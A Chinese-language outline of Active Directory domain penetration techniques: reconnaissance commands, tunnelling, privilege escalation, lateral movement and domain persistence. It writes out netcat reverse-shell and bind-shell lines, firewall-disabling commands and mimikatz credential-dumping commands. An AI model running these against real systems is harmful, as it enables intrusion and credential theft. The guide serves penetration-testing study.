内网域渗透总结
字数 4553 2025-08-18 17:33:19
内网域渗透全面指南
1. 内网渗透测试基础知识
1.1 工作组
- 工作组中的所有计算机是对等的,没有集中管理机制
- 每台计算机独立管理自己的资源和用户账户
1.2 域
- 域是有安全边界的计算机集合
- 访问域内资源需要合法身份登录域
- 权限取决于用户在域内的身份
- 域控制器(DC):管理服务器,负责所有计算机和用户的验证工作
- 存储所有账号和密码散列值
- 所有权限身份认证都在DC上进行
- 域管理员只能管理本域,跨域访问需要建立信任关系
- 域使用DNS定位资源,域名即DNS域名
1.3 活动目录(AD)
- 提供目录服务的组件
- 存储网络对象信息:用户、组、计算机、共享资源、打印机等
- 相当于网络资源的索引和快捷方式
1.4 域控制器和活动目录的区别
- 安装AD的计算机就变成DC
1.5 域中计算机分类
- 域控制器:运行AD的计算机
- 成员服务器:
- 安装服务器OS并加入域
- 未安装AD
- 提供网络资源(文件服务器、应用服务器等)
- 客户机:
- 安装其他OS的计算机
- 使用域账户登录域
- 独立服务器:
- 不加入域也不安装AD
1.6 域内权限解读
-
域本地组:
- 授予本域内资源访问权限
- 例如Administrators组:不受限制存取计算机/域资源
-
全局组:
- 单域用户访问多域资源
- 只能在创建域中添加用户和全局组
- 重要全局组:
- Domain Admins:域内所有服务器和DC默认拥有完整管理员权限
- Enterprise Admins:域森林根域中的组,每个域内都是Administrators成员
- Domain Users:所有域成员默认属于此组
-
通用组:
- 成员来自域森林中任何域
- 可在域森林中任何域指派权限
- 适合跨域访问
- 成员信息保存在全局编录中
总结关系:
- 域本地组:来自全林,作用于本域
- 全局组:来自本域,作用于全林
- 通用组:来自全林,作用于全林
2. 内网信息收集
2.1 收集本机信息
- 网络配置:
ipconfig /all - 操作系统信息:
systeminfo | findstr /B /C:"OS NAME" /C:"OS Version" - 安装软件:
wmic product get name,version - 服务信息:
wmic service list brief - 进程列表:
tasklist或wmic process list brief - 启动程序:
wmic startup get command,caption - 计划任务:
schtasks /query /fo LIST /v - 开机时间:
net statistics workstation - 用户信息:
- 用户列表:
net user - 本地管理员:
net localgroup administrators - 在线用户:
query user或qwinsta
- 用户列表:
- 会话信息:
net session - 端口列表:
netstat -ano - 补丁信息:
systeminfowmic qfe get Caption,Description,HotFixID,InstalledOn
- 共享列表:
net sharewmic share get name,path,status
- 网络信息:
- 路由表:
route print - ARP缓存:
arp -a
- 路由表:
- 防火墙配置:
- 关闭防火墙:
- 2003及以前:
netsh firewall set opmode disable - 2003以后:
netsh advfirewall set allprofiles state off
- 2003及以前:
- 查看配置:
netsh firewall show config
- 关闭防火墙:
- 代理配置:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
2.2 查询当前权限
- 当前权限:
whoami- 机器用户:机器名+"$",System用户对应域内机器用户
- System权限可运行域内查询命令
- Administrators权限可提升为System权限
- 获取SID:
whoami /all - 用户详细信息:
net user username /domain
2.3 判断是否在域
ipconfig /all:查看DNS后缀列表systeminfo:查看"域"信息net config workstation:查看"工作域站"net time /domain:判断主域(域服务器通常作为时间服务器)
2.4 收集域内基础信息
- 查询域:
net view /domain - 查询域内计算机:
net view /domain:XXX - 查询域内计算机列表:
net group /domain - 查询域成员计算机:
net group "domain computers" /domain - 获取域密码策略:
net accounts /domain - 获取域信任信息:
nltest /domain_trusts
2.5 查找域控
- 查看时间服务器:
net time /domain(通常为主域控制器) - 查看域控制器组:
net group "Domain Controllers" /domain - 获取域控列表:
nltest /DCLIST:XXX
2.6 查询域内用户和管理员信息
- 查询域用户:
- 所有用户:
net user /domain - 详细信息:
wmic useraccount get /all - 存在用户:
dsquery user - 本地管理员:
net localgroup administrators
- 所有用户:
- 查询域管理员:
net group "Domain admins" /domainnet group "Enterprise Admins" /domain
3. 隐藏通信隧道技术
3.1 隧道分类
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
3.2 网络层隧道
- IPv6隧道:通过IPv4隧道传送IPv6数据报文,将IPv6报文整体封装到IPv4中
3.3 传输层隧道
- nc(netcat)
- 正向shell:
# Linux nc -lvp 4444 -e /bin/bash # Windows nc -lvp 4444 -e c:\windows\system32\cmd.exe nc 192.168.1.11 4444 - 反向shell:
# Target nc -e /bin/bash Lhost port # Hacker nc -lvvp port
- 正向shell:
3.4 应用层隧道
- SSH隧道
- 本地转发:
参数说明:ssh -CfNg -L LPORT:RHOST:RPORT root@192.168.1.11(跳板机)- -C:压缩数据
- -f:后台运行
- -N:静默连接
- -g:允许远程主机连接本地转发端口
- -L:本地端口转发
- -R:远程端口转发
- -D:动态转发(socks代理)
- -P:指定SSH端口
- 远程转发:
原理:在远程主机监听端口,所有访问该端口的数据通过SSH隧道传输到本地对应端口ssh -SfNg -R LPORT(攻击机端口):RHOST:RPORT root@跳板机 - 动态转发:
ssh -CfNg -D 7000 root@192.168.1.11(跳板机)
- 本地转发:
4. 权限维持
4.1 Windows权限等级
- User
- Administrator
- System:可读取SAM等敏感文件
- TrustedInstaller:最高权限,可修改系统文件
4.2 提权方法
- 系统内核溢出漏洞提权
- Windows配置错误利用
- 低权限用户以System权限运行安装文件
- 可信任服务路径漏洞(包含空格且没有引号的路径)
- 自动安装配置文件包含敏感信息
- 组策略首选项提权
- SYSVOL是存储公共文件服务器副本的共享文件夹
- 域内所有域控制器之间复制
- 查找包含cpassword的XML文件(私钥已公布)
- UAC提权
- 无凭证条件下的权限获取
- LLMNR(本地链路多播解析)欺骗
- DNS不可用时使用LLMNR解析本地机器名称
- NetBIOS欺骗
- 根据NetBIOS协议广播获得计算机名称并解析为IP
- LLMNR(本地链路多播解析)欺骗
5. 域内横向移动
5.1 IPC$共享
- 实现进程间通信的命名管道
- 建立条件:
- 开启139(NetBIOS)、445(共享文件)端口
- 开启默认共享
5.2 获取远程主机信息
dir命令tasklist命令
5.3 Windows系统散列值获取
- 散列类型
- LM Hash(DES加密)
- NTLM Hash(MD4加密)
- 抓取方法
- 从lsass.exe进程导出(实现Windows安全策略的进程)
- 使用mimikatz:
(注意:Wdigest关闭会导致无法抓取明文密码)lsadump::sam sekurlsa::logonpasswords
- 防范措施
- 从administrators组删除具有Debug权限的本地管理员
- 关闭Wdigest
- 安装kb2871997补丁(仍需禁用默认Administrators账号)
- 加入"Protected Users"全局安全组
5.4 哈希传递攻击
- 前提条件
- 大量计算机使用相同的本地管理员账号和密码
- 攻击类型
- NTLM Hash传递
- AES-256密钥传递
5.5 票据传递攻击(PTT)
- 注意事项:
- 使用主机名而非IP地址(如dir命令)
- 票据文件注入内存默认有效时间10小时
- 不需要mimikatz本地管理员权限
5.6 横向移动工具
- Psexec
- 通过命令行与目标机器连接
- 要求:远程系统开启admin$共享(默认开启)
- 特点:
- 建立ipc$连接后无需输入账号密码
- 在目标系统创建psexec服务(执行后自动删除)
- 可直接获得System权限的交互式shell
- 会产生大量日志可被溯源
- Metasploit中的psexec模块
- WMI
- 使用
wmic命令(无回显,需配合ipc$和type命令读取信息)
- 使用
- smbexec
- 通过文件共享(admin\(, c\), ipc\(, d\))在远程执行命令
6. 域控制器安全
6.1 提取ntds.dit
- ntds.dit包含活动目录所有数据(用户名、散列值、组、GPP、OU等)
- 被Windows锁定,可使用卷影拷贝服务(快照)提取
6.2 使用dcsync获取域散列值
- mimikatz的dcsync功能可直接提取ntds.dit并检索域散列值
6.3 Kerberos域用户提权漏洞
- 漏洞原因:
- 用户可伪造Kerberos票据
- KDC未验证票据签名
- 返回的TGT使普通用户获得域管理员权限
- 可访问域内资源
7. 跨域攻击
7.1 攻击方法
- 哈希传递攻击
- 票据传递攻击
- 利用信任关系进行跨域攻击
8. 域控制器持久化
8.1 DSRM域后门
- DSRM(目录服务恢复模式):
- 域控制器安全模式启动选项
- 用于还原、修复活动目录数据库
- 使用方法:
- 使用KB961320同步指定域账号密码到DSRM密码
- 利用DSRM账号控制域控
8.2 SSP维持域控权限
- SSP(安全支持提供程序):
- DLL文件,实现身份认证
- 系统启动时加载到lsass.exe
- 攻击方法:
- 扩展LSA,注入恶意DLL到lsass.exe
- 获取明文密码
8.3 SID History域后门
- SID History用于域迁移时保持用户权限
- 攻击方法:
- 将管理员SID添加到恶意用户的SID History属性
8.4 黄金票据
- 伪造TGT,依赖于krbtgt账号的NTLM HASH或AES-256
- 特点:
- 可伪造域内任意用户身份
- 只要TGT被正确加密,所有信息都被KDC信任
8.5 白银票据
- 伪造TGS,依赖于服务账号的密码散列值